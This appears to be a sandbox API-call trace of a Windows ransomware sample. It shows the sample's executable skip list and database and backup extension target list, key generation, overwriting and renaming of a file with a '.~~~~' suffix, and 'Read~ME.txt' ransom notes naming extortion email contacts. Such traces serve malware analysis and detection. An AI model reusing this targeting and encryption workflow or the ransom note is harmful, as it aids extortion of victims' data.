	[0083.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6750
	[0083.905] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6ae8 | out: hHeap=0x300000) returned 1
	[0083.905] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9260 | out: hHeap=0x300000) returned 1
	[0083.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6ae8
	[0083.905] lstrlenW (lpString=".scr") returned 4
	[0083.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0083.905] lstrlenW (lpString=".cmd") returned 4
	[0083.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0083.905] lstrlenW (lpString=".dll") returned 4
	[0083.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0083.906] lstrlenW (lpString=".bat") returned 4
	[0083.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0083.906] lstrlenW (lpString=".cpl") returned 4
	[0083.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0083.906] lstrlenW (lpString=".sys") returned 4
	[0083.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0083.906] lstrlenW (lpString=".msc") returned 4
	[0083.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
	[0083.906] lstrlenW (lpString=".com") returned 4
	[0083.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0083.906] lstrlenW (lpString=".lnk") returned 4
	[0083.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0083.906] lstrlenW (lpString=".msp") returned 4
	[0083.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0083.906] lstrlenW (lpString=".pif") returned 4
	[0083.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0083.906] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0083.906] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0083.907] lstrlenW (lpString=".sqb") returned 4
	[0083.907] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0083.907] lstrlenW (lpString=".ost") returned 4
	[0083.907] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0083.907] lstrlenW (lpString=".txt") returned 4
	[0083.907] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0083.907] lstrlenW (lpString=".mdt") returned 4
	[0083.907] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0083.907] lstrlenW (lpString=".BDB") returned 4
	[0083.907] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0083.907] lstrlenW (lpString=".eql") returned 4
	[0083.907] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0083.907] lstrlenW (lpString=".DBF") returned 4
	[0083.907] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0083.907] lstrlenW (lpString=".EQL") returned 4
	[0083.907] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0083.907] lstrlenW (lpString=".FDB") returned 4
	[0083.907] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0083.908] lstrlenW (lpString=".EDB") returned 4
	[0083.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0083.908] lstrlenW (lpString=".DACPAC") returned 7
	[0083.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0083.908] lstrlenW (lpString=".VHD") returned 4
	[0083.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0083.908] lstrlenW (lpString=".DBV") returned 4
	[0083.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0083.908] lstrlenW (lpString=".dacpac") returned 7
	[0083.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0083.908] lstrlenW (lpString=".sdf") returned 4
	[0083.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0083.908] lstrlenW (lpString=".accdb") returned 6
	[0083.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0083.908] lstrlenW (lpString=".DBX") returned 4
	[0083.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0083.908] lstrlenW (lpString=".MDT") returned 4
	[0083.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0083.908] lstrlenW (lpString=".SQB") returned 4
	[0083.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0083.908] lstrlenW (lpString=".vhd") returned 4
	[0083.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0083.908] lstrlenW (lpString=".bac") returned 4
	[0083.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0083.908] lstrlenW (lpString=".mdf") returned 4
	[0083.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0083.908] lstrlenW (lpString=".BAK") returned 4
	[0083.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0083.909] lstrlenW (lpString=".BAC") returned 4
	[0083.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0083.909] lstrlenW (lpString=".dbs") returned 4
	[0083.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0083.909] lstrlenW (lpString=".vhdx") returned 5
	[0083.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0083.909] lstrlenW (lpString=".NDF") returned 4
	[0083.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0083.909] lstrlenW (lpString=".dat") returned 4
	[0083.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0083.909] lstrlenW (lpString=".DBS") returned 4
	[0083.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0083.909] lstrlenW (lpString=".CKP") returned 4
	[0083.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0083.909] lstrlenW (lpString=".edb") returned 4
	[0083.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0083.909] lstrlenW (lpString=".PST") returned 4
	[0083.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0083.909] lstrlenW (lpString=".dbf") returned 4
	[0083.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0083.909] lstrlenW (lpString=".SQL") returned 4
	[0083.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0083.909] lstrlenW (lpString=".pst") returned 4
	[0083.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0083.909] lstrlenW (lpString=".dbv") returned 4
	[0083.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0083.910] lstrlenW (lpString=".SDF") returned 4
	[0083.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0083.910] lstrlenW (lpString=".dtxs") returned 5
	[0083.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0083.910] lstrlenW (lpString=".db3") returned 4
	[0083.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0083.910] lstrlenW (lpString=".OST") returned 4
	[0083.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0083.910] lstrlenW (lpString=".dbx") returned 4
	[0083.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0083.910] lstrlenW (lpString=".DB3") returned 4
	[0083.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0083.910] lstrlenW (lpString=".DAT") returned 4
	[0083.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0083.910] lstrlenW (lpString=".VHDX") returned 5
	[0083.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0083.910] lstrlenW (lpString=".ndf") returned 4
	[0083.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0083.910] lstrlenW (lpString=".DB") returned 3
	[0083.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0083.910] lstrlenW (lpString=".sql") returned 4
	[0083.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0083.910] lstrlenW (lpString=".MYD") returned 4
	[0083.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0083.910] lstrlenW (lpString=".DBT") returned 4
	[0083.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0083.911] lstrlenW (lpString=".ACCDB") returned 6
	[0083.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0083.911] lstrlenW (lpString=".fdb") returned 4
	[0083.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0083.911] lstrlenW (lpString=".bak") returned 4
	[0083.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0083.911] lstrlenW (lpString=".myd") returned 4
	[0083.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0083.911] lstrlenW (lpString=".DTXS") returned 5
	[0083.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0083.911] lstrlenW (lpString=".ckp") returned 4
	[0083.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0083.911] lstrlenW (lpString=".dbt") returned 4
	[0083.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0083.911] lstrlenW (lpString=".db") returned 3
	[0083.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0083.911] lstrlenW (lpString=".TXT") returned 4
	[0083.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0083.911] lstrlenW (lpString=".MDF") returned 4
	[0083.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0083.911] lstrlenW (lpString=".bdb") returned 4
	[0083.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0083.911] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0083.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.912] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0083.913] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.913] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0083.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0083.913] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20390295730) returned 1
	[0083.913] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9bd95e50, dwHighDateTime=0x1d60e1e)) 
	[0083.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0083.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0083.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0083.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9260
	[0083.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9260 | out: hHeap=0x300000) returned 1
	[0083.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aaaf0
	[0083.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aaaf0 | out: hHeap=0x300000) returned 1
	[0083.913] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0083.914] GetLastError () returned 0x0
	[0083.914] GetLastError () returned 0x0
	[0083.914] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0083.914] GetLastError () returned 0x0
	[0083.914] GetLastError () returned 0x0
	[0083.917] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffb06d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.917] WriteFile (in: hFile=0x11c, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x4f93, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x4f93, lpOverlapped=0x0) returned 1
	[0083.917] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0083.917] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.917] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.917] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.918] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.918] CloseHandle (hObject=0x11c) returned 1
	[0083.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6a30
	[0083.918] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.~~~~")) returned 1
	[0083.919] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6a30 | out: hHeap=0x300000) returned 1
	[0083.919] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0083.919] GetLastError () returned 0x0
	[0083.919] RtlWakeConditionVariable () returned 0x365f70
	[0083.919] GetCurrentThreadId () returned 0xaf0
	[0083.919] GetCurrentThreadId () returned 0xaf0
	[0083.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aaaf0
	[0083.919] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807e98 | out: hHeap=0x300000) returned 1
	[0083.919] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9298 | out: hHeap=0x300000) returned 1
	[0083.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2807e98
	[0083.919] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0083.920] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0083.920] WriteFile (in: hFile=0x11c, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0084.063] CloseHandle (hObject=0x11c) returned 1
	[0084.063] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807e98 | out: hHeap=0x300000) returned 1
	[0084.063] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aaaf0 | out: hHeap=0x300000) returned 1
	[0084.063] RtlWakeConditionVariable () returned 0x365f70
	[0084.063] GetCurrentThreadId () returned 0xaf0
	[0084.064] GetCurrentThreadId () returned 0xaf0
	[0084.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6c58
	[0084.064] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6dc8 | out: hHeap=0x300000) returned 1
	[0084.064] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2528 | out: hHeap=0x300000) returned 1
	[0084.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6dc8
	[0084.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0084.064] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0084.064] WriteFile (in: hFile=0x11c, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0084.065] CloseHandle (hObject=0x11c) returned 1
	[0084.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6dc8 | out: hHeap=0x300000) returned 1
	[0084.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6c58 | out: hHeap=0x300000) returned 1
